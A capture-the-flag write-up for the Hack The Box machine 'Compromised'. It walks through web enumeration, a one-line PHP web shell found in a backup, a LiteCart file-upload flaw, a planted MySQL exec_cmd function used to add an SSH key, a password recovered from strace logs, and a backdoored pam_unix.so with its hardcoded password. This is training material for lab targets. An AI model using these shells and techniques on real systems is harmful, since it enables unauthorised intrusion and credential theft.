Compromised

Feature Image

This is a Hard rated Linux machine that primarily focuses on an attacker’s enumeration skills as well as some basic reverse engineering knowledge.

This machine was retired on 24 January 2021 (SGT).

I will be using a Kali Linux virtual machine to attempt this box. Before I start, I will map the machine’s IP address to a domain name, usually using the machine’s name and the TLD .htb.

kali@kali:~$ echo "10.10.10.207 compromised.htb" | sudo tee -a /etc/hosts

Reconnaissance and Enumeration

Nmap

Running a nmap TCP port scan revealed the following open TCP ports:

kali@kali:~$ nmap -sT -sV -sC -O -p1-65535 compromised.htb
Nmap scan report for compromised.htb (10.10.10.207)
Host is up (0.0074s latency).
Not shown: 65533 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6e:da:5c:8e:8e:fb:8e:75:27:4a:b9:2a:59:cd:4b:cb (RSA)
|   256 d5:c5:b3:0d:c8:b6:69:e4:fb:13:a3:81:4a:15:16:d2 (ECDSA)
|_  256 35:6a:ee:af:dc:f8:5e:67:0d:bb:f3:ab:18:64:47:90 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Legitimate Rubber Ducks | Online Store
|_Requested resource was http://compromised.htb/shop/en/
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (92%), Linux 5.0 (92%), Linux 5.0 - 5.4 (91%), Linux 2.6.32 (91%), Linux 5.0 - 5.3 (90%), Crestron XPanel control system (90%), Linux 5.3 - 5.4 (90%), Linux 5.4 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 127.52 seconds

80/tcp (Apache Web Server, LiteCart)

Browsing to http://compromised.htb redirects us to http://compromised.htb/shop, which is hosting a LiteCart web application.

LiteCart is an open-source e-commerce platform written in PHP. There isn’t much information available just by browsing the website, so let’s start enumerating the web directories.

kali@kali:~$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://compromised.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : GET
 :: URL              : http://compromised.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

shop                    [Status: 301, Size: 317, Words: 20, Lines: 10]
backup                  [Status: 301, Size: 319, Words: 20, Lines: 10]

http://compromised.htb/backup seems interesting. Browsing to the directory gave us one file to download.

Extracting the contents of a.tar.gz revealed that it contains old (backup) files for the LiteCart instance hosted on the machine.

kali@kali:~$ ls -la ~/HackTheBox/Hard/Compromised/loots/a/shop/
total 76
drwxr-xr-x 11 htb htb  4096 May 28  2020 .
drwxr-xr-x  3 htb htb  4096 Dec 16 14:40 ..
drwxr-xr-x 24 htb htb  4096 Dec 16 14:51 admin
drwxr-xr-x  2 htb htb  4096 May 28  2020 cache
drwxr-xr-x  2 htb htb  4096 May 28  2020 data
drwxr-xr-x  7 htb htb  4096 May 14  2018 ext
-rw-r--r--  1 htb htb 15086 May 28  2020 favicon.ico
-rw-r--r--  1 htb htb  2854 May 28  2020 .htaccess
drwxr-xr-x 10 htb htb  4096 May 28  2020 images
drwxr-xr-x 11 htb htb  4096 May 28  2020 includes
-rw-r--r--  1 htb htb  2508 May 14  2018 index.php
drwxr-xr-x  2 htb htb  4096 May 28  2020 logs
drwxr-xr-x  4 htb htb  4096 May 14  2018 pages
-rw-r--r--  1 htb htb    71 May 28  2020 robots.txt
-rw-r--r--  1 htb htb    35 May 28  2020 .sh.php
drwxr-xr-x  4 htb htb  4096 May 29  2020 vqmod

Suspicious Modifications in Backup

The file .sh.php seems fishy. Let’s see what’s inside.

<?php system($_REQUEST['cmd']); ?>

A web shell? Attempting to browse to the file on the web server returns a 404 Not FoundHTTP status code. Looks like it could have already been removed. Let’s just see what else is in the backup. I started off by enumerating key files like configurations or files containing source codes for user authentication. In shop/includes/config.inc.php, information for accessing a database can be seen from line 38 onwards. MySQL credentials root:changethis could be of use later.

(truncated output)

######################################################################
## Database ##########################################################
######################################################################

// Database
  define('DB_TYPE', 'mysql');
  define('DB_SERVER', 'localhost');
  define('DB_USERNAME', 'root');
  define('DB_PASSWORD', 'changethis');
  define('DB_DATABASE', 'ecom');
  define('DB_TABLE_PREFIX', 'lc_');
  define('DB_CONNECTION_CHARSET', 'utf8');
  define('DB_PERSISTENT_CONNECTIONS', 'false');

The file shop/admin/login.php contains something that shouldn’t be there.

(truncated output)

  if (!empty(user::$data['id'])) notices::add('notice', language::translate('text_already_logged_in', 'You are already logged in'));

  if (isset($_POST['login'])) {
    //file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']);
    user::login($_POST['username'], $_POST['password'], $redirect_url, isset($_POST['remember_me']) ? $_POST['remember_me'] : false);
  }

Apparently there is code present (Already commented out) that could have logged the credentials of the LiteCart admin user. This and the presence of the hidden web shell in the backup file seems to suggest that this machine has already been “compromised”. Let’s see if that log file .log2301c9430d8593ae.txt exists on the server.

With the credentials admin:theNextGenSt0r3!~, log into the admin interface of LiteCart. Once logged in, we can see that this instance of LiteCart is running version 2.1.2. Enlist the help of searchsploit to see if there are any vulnerabilities.

kali@kali:~$ searchsploit litecart
---------------------------------------- ---------------------------------
 Exploit Title                          |  Path
---------------------------------------- ---------------------------------
LiteCart 2.1.2 - Arbitrary File Upload  | php/webapps/45267.py
---------------------------------------- ---------------------------------
Shellcodes: No Results

Arbitrary File Upload Vulnerability (CVE-2018-12256)

By checking the commit history of LiteCart on GitHub, I managed to find the commit that attempts to fix this vulnerability. Vulnerable versions of LiteCart ensure that an uploaded file for vQmods is an XML file by checking the Content-Type in the HTTP header. However, this can be easily bypassed by modifying the Content-Type of the HTTP header before sending it to LiteCart.

Instead of using the exploit code, I decided to manually upload a PHP web shell via the admin interface, intercept the request with Burp Suite and change the Content-Type value to application/xml.

When done, the file can be accessed from the /shop/vqmod/xml directory.

Looks like the upload worked, but the web shell is unable to execute any commands.

PHP disabled_functions() Bypass

After more testing and some digging around, I uploaded a PHP file to execute phpinfo() and discovered the reason why my web shell wasn’t working: the PHP function system() and other similar functions are disabled.

Looks like we have to get more creative. Using Google to find ways to bypass PHP disabled_functions() led me to PHP bug report #72530, where an issue with the PHP garbage collector can be abused to bypass the disabled_functions(). A proof-of-concept exploit code making use of this vulnerability is also available on ExploitDB.

Initial Foothold: www-data

With a web shell, our presence is pretty limited. However, in case you have forgotten, do remember the whole theme of this machine (Compromised). As noted previously, there are traces of previous intrusion that aided us to this step, and this could only mean that there could be further backdoors or tools left behind by the previous attacker.

Listing the /home directory and contents of /etc/passwd revealed the user sysadmin, while the user mysql has an interactive shell, which doesn’t look normal. By default, the user mysql should have a non-interactive shell or a shell that refuses login (/usr/sbin/nologin is one).

Enumerating the usual directories revealed nothing interesting, so I decided to check out the MySQL database with the credentials root:changethis that was previously obtained. Since interacting with the web shell is pretty painful as output isn’t always formatted properly, I decided to create a little Python script that will simulate a shell environment with proper output formatting.

Enumerating the LiteCart database ecom didn’t reveal any useful information. I stumbled into an article while searching for potential backdoors in MySQL and enumerated the func table in the mysql database.

[zxWebPwn] [email protected] $ mysql -uroot -pchangethis mysql -e "select * from mysql.func;"
name    ret dl  type
exec_cmd    0   libmysql.so function

mysql.func table is a system table that contains user-defined functions (UDF). UDF is a way to extend the functionality of MySQL which works like native MySQL functions and are written in C/C++.

Since the name of this function is exec_cmd, can we use it to execute system commands? Let’s see.

[zxWebPwn] [email protected] $ mysql -uroot -pchangethis mysql -e "select exec_cmd('id')"
exec_cmd('id')
uid=111(mysql) gid=113(mysql) groups=113(mysql)\n\0\0\0\0...

Privilege Escalation: mysql

Let’s abuse the UDF to add our SSH key to the authorized_keys file, then SSH as mysql to the machine.

[zxWebPwn] [email protected] $ mysql -uroot -pchangethis mysql -e "select exec_cmd('echo ssh-ed25519 AAAA**************************************************************** >> .ssh/authorized_keys')"

[zxWebPwn] [email protected] $ exit

kali@kali:~$ ssh -i /path/to/ssh_key [email protected]
mysql@compromised:~$

Privilege Escalation: sysadmin

Looks like the user sysadmin is our next target, as the home directory of mysql does not have the user.txt flag. However, it does contain interesting files that suggested strace was executed. Enumerating strace-log.dat revealed instances of su and sudo activity using the sysadmin account.

Further analysis of the file revealed that the credentials sysadmin:3*NLJE32I$Fe has been captured (strace was used as a “keylogger” in this scenario).

(truncated output - strace-log.dat lines 8385 to 8400)

22232 03:11:52 write(4, "[sudo] password for sysadmin: ", 30) = 30
22232 03:11:52 read(4, "3", 1)          = 1
22232 03:11:59 read(4, "*", 1)          = 1
22232 03:11:59 read(4, "N", 1)          = 1
22232 03:11:59 read(4, "L", 1)          = 1
22232 03:11:59 read(4, "J", 1)          = 1
22232 03:11:59 read(4, "E", 1)          = 1
22232 03:11:59 read(4, "3", 1)          = 1
22232 03:11:59 read(4, "2", 1)          = 1
22232 03:11:59 read(4, "I", 1)          = 1
22232 03:11:59 read(4, "$", 1)          = 1
22232 03:11:59 read(4, "F", 1)          = 1
22232 03:11:59 read(4, "e", 1)          = 1
22232 03:11:59 read(4, "\n", 1)         = 1
22232 03:11:59 alarm(0)                 = 0
22232 03:11:59 write(4, "\n", 1)        = 1
mysql@compromised:~$ su - sysadmin
Password: 
sysadmin@compromised:~$

user.txt

The user flag is located in the home directory of sysadmin.

sysadmin@compromised:~$ ls -l
total 4
-r--r----- 1 root sysadmin 33 Dec 16 10:43 user.txt
sysadmin@compromised:~$ cat user.txt
fa66****************************

Local System Enumeration

Usually, at this stage I would execute LinPEAS or LinEnum by downloading them from my machine using wget. However for some reason, outbound network connections are not working.

Remembering that this machine has already been compromised, I decided to enumerate by checking for things that are out of place, starting with hidden files (Remember the hidden web shell we saw earlier?).

sysadmin@compromised:~$ find / -type f -iname ".*" -ls 2>/dev/null | less
(truncated output)

   924118      4 -rw-r--r--   1 root     root          220 May 13  2020 /etc/skel/.bash_logout
  1444617    196 -rw-r--r--   1 root     root       198440 Aug 31 03:25 /lib/x86_64-linux-gnu/security/.pam_unix.so
   398160      4 -rw-r--r--   1 root     root         2854 May 28  2020 /var/www/html/shop/.htaccess
   131304      4 -rw-r--r--   1 www-data www-data       37 May 29  2020 /var/www/html/shop/admin/.log2301c9430d8593ae.txt
   659386      4 -rw-r--r--   1 root     root          169 May 14  2018 /var/www/html/shop/data/.htaccess
   660196      4 -rw-r--r--   1 root     root          169 May 14  2018 /var/www/html/shop/logs/.htaccess
   659383      4 -rw-r--r--   1 root     root          188 May 14  2018 /var/www/html/shop/cache/.htaccess

/lib/x86_64-linux-gnu/security/.pam_unix.so is hidden? Isn’t this required for authentication? Let’s check that directory.

sysadmin@compromised:~$ ls -la /lib/x86_64-linux-gnu/security/
(truncated output)

-rw-r--r-- 1 root root  10376 Feb 27  2019 pam_umask.so
-rw-r--r-- 1 root root 198440 Aug 31 03:25 .pam_unix.so
-rw-r--r-- 1 root root 198440 Aug 31 03:25 pam_unix.so
-rw-r--r-- 1 root root  14448 Feb 27  2019 pam_userdb.so
-rw-r--r-- 1 root root   6104 Feb 27  2019 pam_warn.so
-rw-r--r-- 1 root root  10256 Feb 27  2019 pam_wheel.so
-rw-r--r-- 1 root root  18848 Feb 27  2019 pam_xauth.so

Judging from this situation and the overall theme of the machine, I assumed that .pam_unix.so is the original PAM module, and pam_unix.so is a “compromised” version? Time to analyse this file. Retrieve the file to our local machine using scp and then proceed to disassemble it with Ghidra.

Exploiting Backdoor in pam_unix.so

Analysing the decompiled code revealed the presence of a backdoor in the pam_sm_authenticate function.

Tracing to the locations 0x001031a4 and 0x001031b3 revealed the values used (in hexadecimal).

Based on my understanding of the disassembled instructions, whenever authentication is performed, the entered password is checked against this backdoor variable, a 15-character array, using the strcmp function. If it matches, it skips checking the _unix_verify_password function and treats the authentication process as successful. Else, it would proceed to the normal authentication flow of checking the entered password with the password hash in /etc/shadow.

Doing the necessary “magic” (converting hex to character sequence) will reveal the backdoor string to be zlke~U3Env82m2-.

sysadmin@compromised:~$ su - root
Password: 
root@compromised:~#

root.txt

The root flag is located in the home directory of root.

root@compromised:~# ls -l
total 4
-r-------- 1 root root 33 Dec 16 10:43 root.txt
root@compromised:~# cat root.txt
eb89****************************

References and Further Reading